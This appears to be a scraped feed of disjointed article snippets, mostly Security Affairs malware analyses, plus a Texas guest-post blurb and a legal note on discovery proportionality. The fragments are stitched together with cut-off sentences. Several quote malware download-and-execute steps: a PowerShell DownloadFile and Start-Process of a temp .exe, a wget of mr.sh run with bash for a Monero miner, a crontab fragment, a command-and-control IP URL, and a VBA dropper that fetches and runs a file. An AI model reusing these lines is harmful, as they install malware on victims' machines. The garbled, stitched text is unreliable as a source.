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Mitsubishi Electric discloses data breach, media blame China-linked APT

Security Affairs

Mitsubishi Electric had also already notified members of the Japanese government and Ministry of Defense. “An internal survey found that computers and servers at headquarters and major sites were subject to numerous unauthorized accesses.” Copyright (C) 2014-2015 Media.net Advertising FZ-LLC All Rights Reserved -->.

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Using Microsoft Powerpoint as Malware Dropper

Security Affairs

DownloadFile(‘[link] ‘%temp%/VRE1wEh9j0mvUATIN3AqW1HSNnyir8id.exe’); Start-Process ‘%temp%/VRE1wEh9j0mvUATIN3AqW1HSNnyir8id.exe’ ); . The Third stage uses an internal resource (which happens to be an image) to read and execute additional code: the final payload or Stage 4. Stage 3: NET file.

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Cyber Blackmail: More Than Just Ransomware

The Texas Record

We are happy to welcome guest writers from the Texas Department of Information Resources, Daniel Hankins, Shared Services Security Manager and Andy Bennett, Director Information Security Governance. For additional resources from the Texas Department of Information and Resources visit their Information Security page. [1]

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Sustes Malware: CPU for Monero

Security Affairs

The initial infection stage comes from a custom wget ([link] mr.sh ) directly on the victim machine followed by a simple /bin/bash mr.sh. Sustes Malware doesn’t infect victims by itself (it’s not a worm) but it is spread over the exploitation and brute-force activities with special focus on IoT and Linux servers. d' | crontab -.

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Is Emotet gang targeting companies with external SOC?

Security Affairs

During the running phase the analyzed sample records many information on the hosting machine, it asks for local public IP address by querying an external resource: http[://185[.42[.221[.78:443/whoami.php I am a computer security scientist with an intensive hacking background. Emotet Depacked. MITRE ATT&CK. Pierluigi Paganini.

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The Burden of Privacy In Discovery

Data Matters

The 2015 amendments to Rule 26(b)(1), however, were meant to resolve any doubt, returning the proportionality factors to their original place as part of the very definition of what is discoverable. 19 No longer are the proportionality considerations described as separate “limitations” on an inquiry governed solely by relevance.20

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Frequent VBA Macros used in Office Malware

Security Affairs

droppingURL = "[link] localPath = "c://asd.exe". The main idea behind this function (or sub-routine) is to invoke ServerXMLHTTP object to download a file from an external resource, to save it on local directory (ADODB.Stream object) and finally to execute it through the object WScript.Shell. Download And Execute an External Program.